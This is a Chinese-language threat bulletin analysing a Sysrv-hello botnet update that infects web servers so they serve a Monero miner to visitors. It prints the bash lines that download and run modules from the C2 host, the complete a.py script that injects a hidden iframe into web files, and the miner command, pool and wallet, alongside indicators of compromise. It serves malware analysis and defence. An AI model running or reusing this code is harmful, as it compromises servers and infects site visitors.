威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力

版权


版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。



概述


从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello，本来近期已经有2家安全公司先后分析过该家族的新变种[1][2]，但文章刚出来sysrv的作者就在4月20号再次进行升级，增加了感染网页的能力，本文对此做一分析。



新模块a.py和BrowserUpdate.exe


我们知道sysrv能同时感染Linux和Windows系统，其入口为一个脚本文件，Linux下为bash脚本，最常见的文件名是ldr.sh，Windows下为PowerShell脚本ldr.ps1，这次升级只在ldr.sh中检测到，bash脚本中添加了如下代码：


curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &



能看到加了2个新模块：a.py和BrowserUpdate.exe，其中a.py会被ldr.sh直接执行。


分析下载回来的a.py文件发现其为一个Python程序，体积并不大，代码只有20行：


import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")



这段代码的功能是遍历"/var"、"/usr/local"、"/home"和"/opt"目录，寻找具有".html"、".php"、".htm"、".jsp"、".asp"或者".tpl"后缀的网页文件，找到后就在其中插入一段iframe代码：


<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>



这样，如果有人访问修改后的网页，那么就会下载并有可能执行BrowserUpdate.exe，所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe，下面再来看看这个exe程序为何物。


BrowserUpdate.exe是一个PE32程序，加了UPX壳，VT扫描结果显示它是CoinMiner类型的恶意程序，该exe运行后会释放2个64位的PE文件：


CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)



然后BrowserUpdate.exe会通过如下命令运行释放的程序：


cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo



上面的命令包含了矿池和钱包信息，目的是启动挖矿行为，所释放的exe和sys其实正好是一组xmrig套件，其中ModuleInstaller.exe为主程序，会加载WinRing0x64.sys驱动，对它们业界早有分析，这里不再赘述。



总结


通过上面的分析不难看出，Sysrv-hello的这次升级主要是为了提高传播能力，通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器，不但该机器自身会沦为矿工，其上的网页文件也会被篡改，所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。


考虑到sysrv已经多次升级，我们预计这次升级也只是中间一环而已，后面应该还会有新的动作，对此我们会保持关注，有新的进展将会及时公布。



联系我们


感兴趣的读者，可以通过twitter或者邮件netlab[at]360.cn联系我们。



IoC



MD5


833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS




URL


http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686




矿池和钱包


矿池: xmr-eu2.nanopool.org:14444
钱包：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo